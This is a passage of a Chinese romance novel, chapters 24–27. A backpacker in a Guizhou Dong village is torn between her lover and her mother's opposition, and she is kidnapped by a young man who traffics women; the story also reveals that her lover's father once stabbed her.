可下一句,她就如晴天霹雳那般。因为喻炀问:“那他知道你肚子上的莲花吗?”
肚子上的莲花?
李今晏又看了眼陈梓川,他还一脸正常,应当是没有听到。
她强装镇定,手机都快拿不稳:“你……你怎么知道?”
喻炀:“也是刚知道……今晏,你还需要我过来吗?我要是过来……”
“你的秘密就会守不住。”
24. 山风
挂断电话后的李今晏脸色有些苍白。
杨亚沙忍不住坐起身,扶住前座的靠背:“怎么样今晏姐?你朋友怎么说?”
驾驶座上的陈梓川也看着她。
其实李今晏也拿不准了,虽说她最后仍是什么都没表明就挂了电话,但其实是有些默认喻炀来侗寨的意思。
她想要解决问题,想和陈梓川在一起,毕竟这六年来,他们的身心都只有过彼此。
再次的相遇,就是老天在给机会。多少有情人错过就不再,她还能在云南遇见陈梓川,在凯里遇见陈梓川,她不想放手。
但同时,李今晏真的害怕。害怕陈梓川发现真相之后对家人的暴怒,以及方女士拼命要一个结果的不依不饶。
再次剖开真相,两个家庭会幸福吗?这样真的不是自私吗?
到底该怎么选?其实李今晏真的不知道。
不过既然先答应了杨亚沙,她努力堆起一个笑脸:“他说他可以全权负责,而且有机会的话,也会来这边。”
全权负责……
听到这四个字的杨亚沙仿佛遇到了救世主那般,他没说话,只是眼眶开始渐渐泛红。
惭愧,感激,害怕……许多感情交织在一起,最后堆成一个字:“好……”
他现在已经顾不得一切,只要有人愿意帮忙,他都要去试一试撞一撞。因为阿英绝不能截肢,她才16岁。
李今晏拍拍他的肩:“只要活着,就会有好事发生的。”
杨亚沙吸吸鼻子:“好。”
边上的陈梓川问:“他什么时候过来?”
李今晏:“我也不知道,但他说会尽快,应该就这两天。”
陈梓川点点头,没说话。
李今晏又牵牵他的手:“你不会吃醋吧?”
“我是这么小气的人?”陈梓川挑眉,但他想了想又笑:“我是。”
李今晏捏捏他的手:“哈哈,我知道的,这种事上你不是。”
其实陈梓川看起来不好接近,酷拽又高冷,有时候还特别幼稚,但他其实内心温暖善良,分得清主次。
以前公交车上挤满了人,陈梓川会在老人走近时突然站起身,装作若无其事的样子走远,看到老人欢喜的坐下才满意的微微一笑。
这样别扭但可爱的陈梓川,可能不善言辞,但绝不狭隘。
陈梓川还有些不好意思,他绷着嘴角转过身,发动车子:“不是要去卖蓝靛布吗,正好一起,走吧?”
李今晏:“陈梓川……我还没换衣服呢……”
杨亚沙在后座看了他们一会,两人的相处自然又舒服,虽不腻歪,但很清甜。他笑着说:“我们先回寨子,把阿婆接下山。”
李今晏问:“哦?阿婆还没去集市吗?”
她记得山里的集市一般都在早上。
杨亚沙摇头:“没有呢,今天的集市有一整天,不着急。而且她早上还要照顾阿英……”
“噢~原来是这样。”
……
后来拿上一堆报告,三人一起回了侗寨。
陈梓川本想跟着去杨亚沙家吃午饭的,但医生建议他好好休息,减少膝盖磨损。最后李今晏自己坐着摩托,跟着杨亚沙开开心心的走了。
杨亚沙学着李今晏,也给陈梓川挥手:“陈哥下午见。”
陈梓川微微点头,深深看了眼那粉色的背影。
李今晏换上一件粉色卫衣,黑色薄棉裤,一圈一圈跟着杨亚沙绕上了山,那会温度上来,风吹得发丝乱飘,她觉得很舒服。
杨亚沙家坐落在侗寨背靠的山坡高处,远离主寨鼓楼和热闹的旅游街区。通往他家的小路更为陡峭和狭窄,甚至有些地方只是踩出来的土径。
李今晏第一眼看到那样的房子还是愣了下,主体依然是传统的侗族干栏式木楼,但岁月的痕迹和生活的艰辛在这里刻划得更深。
支撑房屋的木柱显得格外粗砺,深褐色的原木未经精细处理,有些地方的树皮还未剥尽,能看到深深的裂纹和风雨侵蚀的痕迹。
李今晏又向上看去,那烟囱居然只是一截简单的铁皮管子,锈迹斑斑,从房顶一侧斜伸出来。
杨亚沙走在前面,把一些杂乱的农具丢进干栏底层,直起身:“今晏姐,你别嫌弃。”
李今晏摆摆手:“怎么会,我家小时候也住这样的地方,我觉得跟亲切。”
李今晏真诚地补了句:“很亲切。”
“行。”杨亚沙笑笑,推开门把她领进去。
屋内有淡淡的消毒水以及药品的苦涩味,不过很快,粥面的香浓很快盖过。李今晏扫了一圈,杨亚沙家虽然破旧,但十分整洁。
低矮的屋顶被经年的柴火烟熏得漆黑油亮,只有小窗透进些许天光,阿婆就在门口的灶台边,看到他们进来,偏头笑着说:“回来了?”
那位慈祥和蔼的老人穿着藏青色的旧式侗布衣,系着洗得发白沾着油渍的围裙。她佝偻着背,身形瘦小,花白的头发在脑后挽成一个紧实的髻。
“嗯呐,回来了。”杨亚沙过去帮她端盛了面的钵,在她耳边小声道:“这个就是能帮阿英的人。”
阿婆表情数变,最后还是忍不住走过去,在围裙上用力擦擦手后,握住李今晏:“谢谢你,真的谢谢你,好姑娘。”
李今晏受宠若惊:“没事的婆婆,我就是尽我所能,而且……我还没帮上什么。”
阿婆抬头望着她:“不,愿意帮就已经很好了。”
李今晏感受到她手上的温度,也紧紧反握住……
后来三个人,一人一个小矮凳,挤在一张不大的方桌上吃完了面,李今晏还端着碗,问:“阿英呢?”
杨亚沙瞥了眼边上紧闭的木门:“这个点,她都在睡午觉。”
“嗷~”李今晏点点头以示了解。
这时杨亚沙的手机震动起来,他走到灶台边放下碗拿出手机,上面的图片是一把长枪。枪身由深山硬木——老青冈木手工削磨而成,表面布满斧凿的痕迹。
杨亚沙认出了那枪,但仍回了句,‘不可能’。
我国是禁枪的,他搞不来这种东西。
那边很快回复,依然简短:
‘萨沙苗寨’
杨亚沙闭了闭眼,萨沙苗寨就在他们寨子旁不远
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处,是我国唯一一个允许持枪的部落。
背对着两人,他把那对话偷偷截图,然后回了句:‘先给我10w’
这时候窗外的草叶忽然滴滴答答起来,他偏头去看,原来是下雨了。
杨亚沙按灭手机,最后走过来,看着李今晏还在吃,又坐下问:“今晏姐,你们准备这么一直玩下去吗?在这里住一个月,然后去其他地方。”
这个问题还真就把李今晏问懵了,如果只是问她自己,她会毫不犹豫,但是加上陈梓川她就有些不知道该怎么回答。
陈梓川是不喜欢旅游的,她不想强迫他跟着自己。
李今晏:“我大概是的……但陈梓川……不好说。”
杨亚沙:“为什么呀?”
“他其实不喜欢游山玩水,也不喜欢和人打交道,如果依着我陪我,那他就没有自我了。”
她要陈梓川是陈梓川。
可杨亚沙不赞同:“今晏姐,陈哥不喜欢游山玩水,但他喜欢你啊。你要宅在家里,他就陪你宅在家里,你要出去玩,他就陪你出去玩,这两种状态其实是没有区别的,因为你都在他身边……”
李今晏忽然想起疫情那几年,不用说也知道,那种环境下的陈梓川一定是难熬的。
杨亚沙继续:“你没发现,和你在一起,无论去哪里他都带着淡淡的笑容吗?我想……陈哥不在意你是什么状态,只在意他身边有没有你。”说到最后他又补了句:“而且你们不是结婚了吗?我想他早就想清楚这个问题了……”
李今晏听到前面还觉得有道理,想去问问陈梓川,听到这最后一句她有点绷不住了……
都怪某人干的好事。
李今晏紧咬着唇,哎算了,不解释了……反正迟早都会的。
阿婆今早在电话里大致了解过这位恩人,问:“那你就一直这么流浪下去吗?收入也不稳定。”
李今晏笑:“我物欲不高,不需要车子房子,物质上只需要将将够的钱,然后最重要的就是精神上的愉悦自由。”
阿婆笑得温柔:“可是小姑娘啊,现在你身体康健家庭幸福,自然是没有什么担心,但以后有用钱的地方,你会后悔现在的自由吗?”
杨亚沙没说话,看了眼阿英的房间。
李今晏的笑容渐渐凝固。
她说得没错,如果今天换做是方女士生病,她拿不出什么钱……可能还要父母倒贴。
如果她喜欢做金融,喜欢那样穿梭于车水马龙的钢铁森林的生活,她又有钱又有快乐,那样应当是圆满的。
但李今晏偏偏不喜欢啊……不喜欢同事之间的勾心斗角,不喜欢为了kpi焦虑得脱发的样子,更不喜欢为了几个臭钱就卑躬屈膝折断脊梁的自己。
她喜欢山,喜欢海,喜欢雪,喜欢沙,喜欢春夏秋冬,喜欢丛林鸟兽,喜欢人文风情,喜欢这一整个广袤的华夏大地。
所以话又说回来。
自由就该与财富背道而驰吗?鱼与熊掌真的不可兼得吗?
李今晏抬起眼:“如果我既要又要呢?”
阿婆楞了一下,笑道:“那就早些行动吧。”
25. 雨停
阿婆和杨亚沙起身,端起碗走向了水槽。李今晏坐在小凳上摩挲着碗,暗自打算着。
其实之前闻代云有问过她,要不要入职她们部,说是没有坐班限制,可以继续旅行。但李今晏当时拒绝了。
现在想来她其实可以当个旅行记录者,反正有固定收入,也不限制她的出行,只是会把公众号的文章挪到其他平台发布。
李今晏这么想着,放下碗拿出手机,给闻代云发了个消息。
闻代云那边过了没两分钟就回复:那太好了!我去给你问问!你愿意加入那真的太棒了。
毕竟她这期聚焦的新人物又创了阅读量新高。这样的视角和这样的文字,都是一个新方向。
【今朝晏晏】:感谢支持。
其实她的视角确实特别,现在的时政时事都喜欢观察大事大人,或者一些能够博人眼球的恶劣事件,她却喜欢一个又一个生动可爱,努力生活的小人物。
之前她会觉得,热爱的事变成工作也会疲乏,而且穷游这种飘忽不定的事谁知道她能坚持多久?
但现在想法又变了,如果能够一直在旅行中获得能量,一直有多彩的人生被她捕捉,那为什么会不愿坚持?
李今晏想,她要在保证快乐的前提下,给自己最好的。
阿婆把碗放进水槽里,转过头来说:“现在的年轻人还是大胆,背一个包就能到处闯。”
李今晏笑:“我们生在一个和平年代嘛,中国是世界上安全系数最高的国家。而且我出生在千禧年,名字中的‘今晏’就是海晏河清,暗示祖国国泰民安的意思……这样的大环境给了我们自由出行的勇气。”
没人注意到,站在阿婆旁的杨亚沙听到‘国泰民安’四个字微微一愣。
阿婆把洗净的碗擦干放进木橱,点头道:“那倒是,老一辈的都吃过不少苦,你们这代人已经很幸福了。”
李今晏:“是的。”
“嘟嘟。”
这时,手机顶部忽然有两条消息弹出。
【陈梓川】:下雨了,下午还去吗?
昨晚,他们终于重新加上微信。
【方女士】:听喻炀说,你现在到贵州了是吧?不是说要去四川?
这俩人忽然同时出现,李今晏的心还是颤了下,上次电话里不欢而散,这次方女士主动找来,她也马上回复:四川只有下次去喽。
李今晏又抬起头,看正在洗碗的杨亚沙:“我们下午什么时候去镇上?等雨停吗?”
杨亚沙抹上点洗洁精,还在刷剩下的碗,回头:“嗯嗯,看雨什么时候停。”
集市都是露天的,如果一直下雨的话打伞也太不方便了,大多数人选择不去。
李今晏回了陈梓川:杨亚沙说等雨停。
【今朝晏晏】:你吃饭了吗?
这时方女士的消息却先弹出来。
【方女士】:贵州好玩吗?
【今朝晏晏】:好玩啊,我直接赶上他们的三月三了,昨晚火把游寨什么的都都玩儿嗨了。我拿着火把跟着绕了一圈,还在寨子口的老榕树下许愿了呢……
李今晏来了点劲,像小时候放学一样,开始叽叽喳喳跟母亲说发生的好玩儿事。
【今朝晏晏】:我在的这边是一个侗寨,以前感觉贵州苗族很多,没想到侗族也很多,他们跟苗族的服饰还是有点区别……这边米酒也很香甜,跟小时候我们去昭通喝到的很像……给你看照片。
刷刷刷十几张照片发过去,方女士一一引用点评之后,夸了两句又问:那老榕树下,你许了什么愿?
什么愿……
那当然是……
陈梓川的消息恰好进来,李今晏坐着不吭声了……因为她暂时是许了关于这个人的……
【陈梓川】:吃了,买了他们的乌米饭和糯米糍粑,口感很好,一会儿你下山来吃。
他也发了一张图片过来,那糍粑白白胖胖还裹着一层黄豆粉,被他咬了一口,看得刚吃饱的李今晏又口水横流。
【今朝晏晏】:好哇好哇,想吃。
【今朝晏晏】:心心眼.JPG
客栈门口卖糍粑的老爷爷应该还没走,陈梓川算好时间,杨亚沙家下来大概20分钟,他到时候可以提前买好在这里等她。
李今晏想起那个愿望,也问:你昨晚在榕树下许了什么愿?
一时半会儿,陈梓川没回。
她又打开方女士的聊天框,该怎么说呢……李今晏还在纠结,顶部就弹出陈梓川的消息:下一站,李今晏会带上我。
看到这里的李今晏心一暖,回复:以后真的不跑了,我们会一直在一起。
那边的人没回,顶部出现‘对方正在输入’几个字。
李今晏托着腮等了一会儿,陈梓川居然还没回,可她下一秒就吓得全身汗毛竖起!因为她定睛一看,顶部的备注居然是【方女士】!!!
方女士???
她把这句话发给了她妈妈??
完了……
果不其然,底部的消息顶上来。
【方女士】:你没去四川……是不是躲谁躲到了贵州?
李今晏懊悔的不行,就不该一心二用啊啊啊啊!消息都能回复错。
她强装镇定。
【今朝晏晏】:当然躲喻炀啦,我都说了不想和他相亲嘛。
很快,消息又顶上来一条。
【方女士】:李今晏,你是我肚子里掉出来的,我不是傻子。
李今晏咬着唇,那边直接一个电话打来了,她看了眼水槽边还在交谈的两人,走到门外的屋檐下接起电话。
山雨先湿了鼻子,脚底的寨子在雨里渐渐化开,对面山坡的梯田里,几个披蓑衣的农人还在挖田坎,侗歌混着雨声隐约飘荡。
这次的方女士平静又肯定:“你和陈梓川见面了,对吗?”
李今晏顿了两秒:“是不是喻炀跟你说的?”
“喻炀还帮着你呢,什么都没说。”
李今晏闭上眼,带着破釜沉舟的勇气道:“是,我和陈梓川见面了,而且我不准备再瞒他……“
过了两秒,她又继续说:“那你为什么要告诉喻炀莲花纹身的事?”
她屏住呼吸,那边一直很静。
是了,方鸣玉这次是真的生气了。
直到对面的田坎都挖完一垄,电话那头才有了回应:“可以……”
李今晏:“?”
可以是什么意思?同意她和陈梓川吗?
方鸣玉:“你让他爸去坐牢,我就同意你们在一起。”
“……”
李今晏有些生气:“妈,这不可能,我五年前就说过了。”
方鸣玉声音很冷:“行,那我这关也过不了,这辈子都不
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可能。”
李今晏胸中种种情绪开始澎湃:“你为什么这么固执呢?陈叔叔是带有精神疾病的患者,平常对我很好你也不是不知道。而且就算是法院判,最多也是去监禁所……再说了,有陈梓川妈妈在,他这辈子也不会去……”
站在李今晏的角度,和陈梓川在一起是必然结果,所以纵使她害怕,担心,纵使她受过伤,也还是要勇敢的接受和改变。
李今晏的声音越来越大:“你为什么就不能退一步呢?伯父现在也去住了两年治疗所,为什么要揪着不放?!”
“李今晏!”方鸣玉怒吼:“你疯了吗??”
李今晏把手机拿远,可电话里的人还在发飙。
“你到底被那家人下了什么药???当年他要杀你啊!你怎么能,怎么能说出这种话?”
李今晏呆住,因为电话那头的人声音颤抖:“我差点失去我的女儿……我差点失去你你知不知道啊……”
单不说陈元青,就陈梓川本人也是有病的,万一哪天他犯病了,控制不住伤害李今晏怎么办??
方鸣玉字字泣血:“妈妈……真的害怕啊……”
山雨好像又大了些,大到李今晏分不清,脸颊上滑下的是雨还是泪。
她忽然觉得,真的真的很对不起方鸣玉。
刚出事那会儿,方鸣玉不敢让她看见锋利的刀具,在她病床边连苹果都不敢削。而且这件事爸爸也是一直被瞒着,她在沪市彻底修养好了才回的家。所有的压力所有的愤怒自始至终都是方鸣玉一个人承担了。
渐渐的,李今晏蹲下身,开始小声抽泣起来……
客栈里。
陈梓川一直没收到李今晏的回复,心狠狠坠落。
果然,她还是犹豫了吗?
那半块糍粑忽然就凉了,他努力拨通李今晏的电话,第一次占线了。
他深吸口气,起身开了门,抽掉房卡后重新按下拨通键。
就在陈梓川以为,要像以前一样打很多遍的时候,居然第二次就接通了。他的心像坐过山车那般,放下了又马上提到嗓子眼。
陈梓川动了动唇,还在犹豫怎么措辞,可这次李今晏先开口了,她声音很轻:
“陈梓川……我们明天,一起去青海吧。”
这时,房间里的灯因为断电瞬间全灭,但头顶那盏小小的廊灯,恰如一枚悬垂的小太阳,蜜色光流正从那里倾泻而下。
陈梓川一直到很久以后都觉得,李今晏的这句话是他这辈子听过,最温暖,最美好的话。
·
水槽边的杨亚沙又收到消息,那边当然不可能给他10w,还骂他事儿逼骂她妹妹骚货。
眼看着,冲突一触即发。
杨亚沙其实早就不想干了,拐卖独身女性,让她们做鸡这种事他一直都是迫不得已,现在居然还得寸进尺的要枪。
他不想做违法乱纪的事,只想拿到钱救阿英,然后好好的演奏一辈子,过安稳日子。
所以,他要在保证阿英阿婆安全的前提下,把他们全送进去。
杨亚沙偏头去看,没看到窗边的李今晏。他擦干了手走出门来,撞见上完厕所的她。
杨亚沙朝她笑:“今晏姐,你那个朋友大概什么时候到啊?”
他以为李今晏会像上午一样热情的告诉他一个准确时间,可没想到,李今晏居然沉默了……
26. 失踪
杨亚沙有种不好的预感。
果不其然,李今晏不好意思道:“我再给你另想办法,你看行吗?”
听到这句,杨亚沙的脸垮了下来:“什么叫另想办法?”
这声音不同于往日的清脆,李今晏觉得他忽然有些陌生,疑惑道:“别的途径……我想……应该还有别的办法?别的人脉?……因为,我可能明天要离开。”
李今晏脑子很混乱,她不知道自己在说什么。她不想让方女士害怕,也不想放手陈梓川,现在唯一能想到的就是暂时‘私奔’。不回沪市,不见喻炀,不去揭开陈年旧事或许能拖一下?
杨亚沙嘴唇紧抿,攥紧了拳头:“这么说,你是反悔了?”
李今晏怔住,杨亚沙那眼神,是她从未见过的狠厉。
她解释道:“怎么会反悔,就是换个方法。”
“那你有什么想法?”
“我……”
她还没想好。
手机不合时宜的响起来,杨亚沙从包里拿出来瞥了一眼,上面写着:
明天,要不我来接你妹妹?
周围逐渐被浇透的梯田传来“咕嘟咕嘟”的吸水声,杨亚沙看了一圈后,表情忽然放松,他慢慢走近李今晏:“呵,那只能对不住今晏姐你了……”
李今晏皱眉:“什么意思?我……”
“嘣——”
话还没说完,直接被掐碎在风雨里。
·
陈梓川睡了个午觉起来,外面的雨还没停,他按开手机一看,上面显示下午三点半。
李今晏居然这么两个小时都没给他发过消息,他不免有些失落。
不过也没关系,她不主动发,他就主动好了。陈梓川坐起身,拿了个靠枕垫在背上。
【陈梓川】:现在还在下雨,我们一会儿还去吗?
过了没几分钟,那边回:我也不知道。但杨亚沙家还挺好玩的,我多玩一会儿,到时候坐他的摩托回来。
陈梓川忽然也想上去。
【陈梓川】:什么好玩的?我来还赶得上吗?
【今朝晏晏】:你膝盖不好,就好好休息吧。
【陈梓川】:……又拿膝盖说事。
【今朝晏晏】:老公,你就乖乖等我嘛,我一会就来。
看到前两个字的陈梓川微微一愣,距离上次她真情实感的叫这个称呼,其实已经有好多年了。
陈梓川想起早上做的一堆显示正常的报告。他唇角微勾,有意调情:晚上再叫一下?
那边的人没回。
陈梓川坐直了,又靠下去。
【陈梓川】:不愿意?也行,等你再恢复一下。
他等了两分钟,李今晏还是没回。他想她可能在玩,也不再打扰,自顾自的开始查一些青海的攻略。
如果要火车去西宁的话根本没有直达的,中转也很麻烦。
陈梓川在想,要不说服她坐飞机,如果她不愿意,就一路火车一路玩过去?而且青海那边海拔高,温度低,可能还要预防一下高反。
【陈梓川】:我们要不缓两天再去青海?我查了下攻略,感觉要准备一些东西。
陈梓川打出上面一段话,又想起她是随心所欲,不喜欢瞻前顾后的背包客,她的观念一直是,如果有问题,到了就解决了。
嗯……他准备跟着她,当一次彻彻底底的,不做计划的P人,所以他最终又删掉,没发出去。
陈梓川又继续搜。
4月不仅可以看封冻尾声,候鸟回归的青海湖,还可以在藏传佛教的圣地——塔尔寺体验酥油花、壁画、堆绣。
他的心情竟然也有点起伏,很期待和李今晏一起踏上新的旅程,陈梓川想,他好像也因着她,重新又爱上这个世界……
但直到下午六点,鼓楼飞檐下的灯笼在渐暗的天色里次第点亮时,陈梓川才终于发觉不对劲。
因为他四点,五点都连着给李今晏发消息,可根本没人回。陈梓川刚开始觉得无奈,后来打过去又发现她居然关机了?
关机了?手机没电了吗?
就在陈梓川要打给杨亚沙的时候,他倒是先打来了。
杨亚沙的声音止不住的颤抖:“不好了陈哥!今晏姐失踪了!”
有那么两秒,他觉得自己听错了。然后接踵而来的是控制不住的心慌。陈梓川的第一反应竟然不是她又逃了,而是她这次真的有什么要发生。
他沉声道:“什么意思?”
那边的杨亚沙很焦急:“我和今晏姐去山上玩,中间因为阿英找我我就先回去了,但是到现在今晏姐还没回来,打电话也关机。我已经去找了一圈了,陈哥,我们该怎么办?!”
杨亚沙字句清晰,但他听来却像散落的珠子,无法在脑海中串联起来。耳朵里突然灌满了嗡嗡的白噪音,像老式电视的雪花屏,盖过了所有的声音。
‘山上玩’‘已经去找了一圈了’‘怎么办’……
最后的陈梓川吐出两个字:
“报警。”
·
第二天。
黎明像一把迟钝的刀,艰难地割开笼罩山林的厚重夜幕。
意识像沉在浑浊的深潭底部,被一根冰冷的铁钩猛地拽上来。李今晏头痛欲裂,颅内仿佛有无数根针在反复穿刺。身体重得不像自己的,四肢百骸都灌满了冰冷的铅。
李今晏费力睁开沉重的眼皮,周围亮着微暗的光。
这是……哪里?
身体扭曲僵硬,湿哒哒乱糟糟的头发还贴着脸,她费劲动了动,冰冷的触感透过衣物直抵脊椎。
手指微微上抬,触感凹凸冰凉,她这是被绑在一根冰冷坚硬,布满锈蚀的……铁管上??
等视野逐渐清晰,她终于发现,自己是在一个废弃的仓库里。
仓库的空间很大,却空旷到令人心慌。除了身后这根铁管,几乎没有其他像样的东西。角落里堆着一些被厚厚灰尘覆盖的杂物轮廓,像是破箩筐或者断裂的木架。
空气中弥漫着一股令人作呕的混合气味,是陈年谷物腐烂的甜腻霉味,以及潮湿木头的腐败气息。
“嗯……咳咳咳。”李今晏忍不住咳嗽。
但好像才发了一个音,声带就疼得像撕裂了,她的喉咙干得像被砂纸磨过,连吞咽唾沫都是一种酷刑,李今晏的眼睛瞬间盈满了泪。
所以,她这是被杨亚沙绑架了?当时站在他家门外,话还没说完就被打晕了。
“呵……”
李今晏忽然就冷笑了出来,往日感觉到的一些奇怪之处这下全部在脑海里重现。
比如初见时,他用蛇皮袋装了竹笛放
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在脚边。可是真正热爱音乐爱护乐器的人,怎么会把它们一直放在地上?
侗寨路上吃完酸汤鱼,听到要换车时他的惊喜,看到陈梓川上车时他阴鸷的眼神和下拉的嘴角。
噢……还有那声‘小云’!这才是他真正的名字吧?
看过不少黑色新闻的李今晏几乎是瞬间就明白这是一出什么样的戏,简直太难以置信了,自己竟然被这样纯良的少年给欺骗,彻头彻尾!
愤怒瞬间盖过害怕,她一定要逃出去!
她不能让陈梓川觉得,是自己再次抛下他……
李今晏动了动手,能感觉到,一些干枯细小的倒刺扎进她的皮肤。捆住她手腕的并非规整的绳子,好像是几股拧在一起的藤条,还带着浓烈刺鼻的桐油味。
这种浸了桐油的老藤条别说徒手了,刀都不一定割得断。
李今晏又奋力想站起来,但铁管牢牢锁住她,根本动弹不得。
一筹莫展之际,铁门外出现了一些动静,有人开锁,要进来了……
在大门拉开,光照进来的那一霎那,李今晏闭上眼,将头歪向一边。
铁门又重重关上。那人脚步声不重,不一会就来到她身边,还带着一阵早餐香。
杨亚沙走到她身后,检查了下手腕上的藤条,又站起身走到她跟前,微微叹了口气。
他身上潮湿又清新,带着山林特有的野性和清冽。
眼皮微掀,杨亚沙的手臂近在咫尺,李今晏发了狠,猛地睁眼,一口咬在他手腕处!
杨亚沙吃痛大叫,手里的包子瞬间滚落,沾了灰。他发疯推开李今晏,捂着手站起身:“今晏姐!你发什么疯!”
李今晏还坐在地上,两侧头发凌乱飘落,抬眼瞪他的样子,像是看什么仇人。
“杨亚沙?”李今晏恨恨开口:“你绑架我?”
杨亚沙动了动唇:“今晏姐,我不想害你的,但我需要钱,马上就需要!”
李今晏的声音很冷:“我不是说会帮你吗?”
“可你要反悔!刚开始说的全权负责,现在又说要换人,我等不及了!阿英等不及了!”
“也就差这么一两天,你至于吗?!”
“我至于!”
杨亚沙声嘶力竭:“你根本不懂!我要钱!我要我妹妹健健康康的!你们这种有钱人根本就不懂!”
空气中静了两秒,李今晏别过头去。没过一会儿,他开始自顾自笑起来。
“呵呵,哈哈哈哈哈。”杨亚沙的声音又变得很轻:“我阿婆含辛茹苦把我们拉扯大,换来的是什么?我辛辛苦苦演奏换来的是什么?是父母的抛弃!是阿英的疾病!是违法犯罪……”
“我有时候都在想,我们难道是被国家,被时代抛弃的人吗?为什么会这么苦……”
杨亚沙的身体看起来摇摇欲坠,他声音里透着绝望:“不一样的……我们和你说的‘国泰民安’,是不一样的……”
李今晏死死咬着唇:“你是在不满自己的起点和命运吗?”
杨亚沙放下手冷哼了一声,又低下头来看她:“你没资格教育我,你们这些所谓的背包客,睡火车,住破房,吃素面,其实也只是在体验我们的苦难!”
李今晏心下一惊,又听他说:
“体验懂吗!多么残忍的词!”
27. 克星
体验?
这个词带着浓重的居高临下感,李今晏第一瞬间也晃了神,自己真的在体验别人的苦难吗?
明明有相对的好日子放着不过,偏偏要去一些偏僻的地方旅游,然后十天半个月后拍拍屁股走人,又回到城市那个温暖的家?
不……
才不是……
李今晏几乎下一秒就否定了这样的说辞。这不是体验,这是感受和理解。
读万卷书,行万里路,不管哪种,都是她看世界的方法,她做志愿者,通过写作摄影让世界关注被忽视的问题,让大家看到多样的生活方式和努力积极的人,这种“体验”转化成了实际的行动。
李今晏冷哼一声,也不解释,只是轻飘飘骂他:“心里脏的人看什么都脏。”
“你!”杨亚沙又瞪着她:“你也就会耍点嘴皮子了。”
小窗外照进来的光又短了一截,外面大概已经八九点了。
她不知道这是哪里,但可以肯定的是,他们还在山上,而且,杨亚沙应该是还在等什么人……
沉默了很久,李今晏问:“你要把我卖去哪里?”
杨亚沙偏过头去,不说实话:“我不知道,我只是个中间人。”
李今晏趁着他偏头,扫视周围,但周围实在太过空旷,什么趁手的工具都没有,她有些绝望。
李今晏抬头:“我要上厕所。”
杨亚沙笑:“太拙劣了今晏姐,我不吃这一套。”
“我真的要上厕所。”
“那就尿裤子里。”
“来接我的人会嫌弃的吧?”
杨亚沙“呵”了一声:“对他们来说,你算干净的,除了已婚……不过也算个少妇,很吃香。”
李今晏攥紧拳头,这是要把她卖去做鸡!
她又抬头看他,声音很冷:“你知道这是在犯法吗?你就不怕寨子里的人找你麻烦?找你妹妹找你阿婆麻烦吗?!”
她现在还是只能把希望寄托在杨亚沙身上,因为他至少还给她带了包子……
杨亚沙:“今晏姐你太天真了,你忘记了吗?我最擅长的就是伪装。寨子里的人,现在都以为是你自己不小心,不知道滚到哪摔死了呢……几天过后警察找不到就会回去,因为你也不是第一个这么失踪的。”
杨亚沙不看她,声音依然硬着:“说到犯法……我能怎么办?犯法顶多就是进去关几年,但是能救阿英的命!”
李今晏:“你想要钱是吗?”
杨亚沙转头定定看她:“是。”
“他们给你多少?我可以双倍。”
“今晏姐,回不去了……我干这个也不是一天两天,在我最绝望的时候,是这些人救了我给了我希望,我能怎么办?我只能继续相信他们。”他低头看了眼地上脏兮兮的包子:“你就饿着吧。”
……
寨子里已经快找疯了,寨长和警察们几乎快把整个后山翻过来,都没有发现李今晏的踪影。
所以第二天并没有变好,而且事情还因为喻炀的到来变得更糟。
因为他一来就听到寨子口的人在悄咪咪讨论,有个游客失踪了。
他长得阳光,几番打听之下寨口的碎嘴大妈就啥都说了。喻炀知道失踪的人是李今晏,吞了口口水,脸色铁青着进了寨。
找到陈梓川客栈的时候,他刚好回来。
客栈的院子中央有一方青石垒砌的小鱼塘。水清澈见底,几尾红鲤悠悠摆尾,搅动着倒映的蓝天白云和四周木楼的剪影,与匆忙焦急的人形成鲜明对比。
陈梓川看他推开大门进来,没空搭理,还在问刚下山的杨亚沙:“怎么样?”
晚上他和很多寨民去找了一圈,一无所获只得回来,现下刚从警察局做完笔录。
杨亚沙满头大汗,脸上的焦急已经渐渐被疲惫取代,看陈梓川满脸的期待,他没说话,只摇摇头。
喻炀拖着行李箱走到两人跟前,看着陈梓川的侧脸,一字一句开门见山:
“你还真是今晏的克星。”
这个陌生男人的话里沉着火气,杨亚沙疑惑的看过去:“你谁啊?放尊重点,不要这么说陈哥和今晏姐。”
陈梓川抬手,本不想理喻炀,但他又恨恨补充道:“五年前是,现在也是。”
这下的陈梓川终于偏头看他:“你什么意思?”
喻炀捏紧了手里的拉杆,磨牙道:“字面意思。”
陈梓川叹了口气:“我没空跟你打哑谜,我们现在重要的是找到李今晏。你知道你在浪费大家的时间吗?”
“呵。”喻炀又想起寨子口的老奶说两人是夫妻:“你还真要脸,大言不惭的说今晏是你妻子,你觉得你配吗?三番五次的伤害她,现在还能弄丢她。”
杨亚沙皱眉大声道:“你这人到底谁啊?”
陈梓川不看喻炀,示意杨亚沙进客栈再说。
喻炀看着两人转身,站在院子中大喊:“五年前李今晏离开的原因……你还不知道对吧?”
听到这话的陈梓川顿住步子,转过身,几大步走过来捏起他的衣领:“如果你下句话不说到点子上,我就把你丢出去。”
喻炀看着他那愤恨的眼神,抠开他紧箍住自己的手:“五年前……今晏的病床就在你隔壁。”
陈梓川皱眉,手上力道小了些:“?”
病床?
他记得她说自己回过沪市,是生病了?
生了什么病?病床为什么会在隔壁?在隔壁为什么不来见他?
陈梓川脑子里有好多疑问。
喻炀继续:“你就不疑惑为什么你做了手术,你父亲却看都不来看你直接去了治疗所?”
“你怎么知道我父亲的事?你到底在说什么?”
喻炀:“你不知道的吧……他其实该去监狱的啊……”
监狱?
陈梓川后退了一步,病房,监狱……这两者有什么关系?
喻炀:“你自己想想这之间有什么联系?你父亲一个精神分裂,知道你被人撞伤情绪不稳的时候会做什么??”
会做什么?
其实他很少接触行程匆忙的父亲,犯病的时候他更加少见,小时候只一次,看见他疯狂殴打母亲。
……
陈梓川忽然觉得胸口被巨石碾压,空气都凝成一块浑浊,心脏被狠狠捏紧。他紧盯着喻炀,眼里满是不可置信。
父亲打了……李今晏?
下一秒,喻炀的话更是重重捶在他胸口:“没错!你那神经病父亲捅了偷偷飞来看望你想给你惊喜的李今晏!”
喻炀一口气说完,胸口还在不断起伏着。
陈梓川的大脑一片空白:“捅……不可能……”
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陈元青捅了李今晏??
怎么可能??
怎么会捅李今晏??
他木着脸,眼睛飘忽着不知道在看哪里。
喻炀:“不可能?现在她的肚子上还有一条刀疤!”
陈梓川又退了几步,几乎要站不稳……啊……肚子上……肚子上……
怪不得李今晏总是不让他碰那里……
陈梓川整个人的情绪被疯狂拉扯着,震惊……愧疚……愤恨……心疼……害怕……
那些年的事全部开始一帧一帧闪现。
“啊……”喉咙里艰难发出一个音,陈梓川抱着头,表情极度痛苦。
不!
他不信!
他要问陈元青!
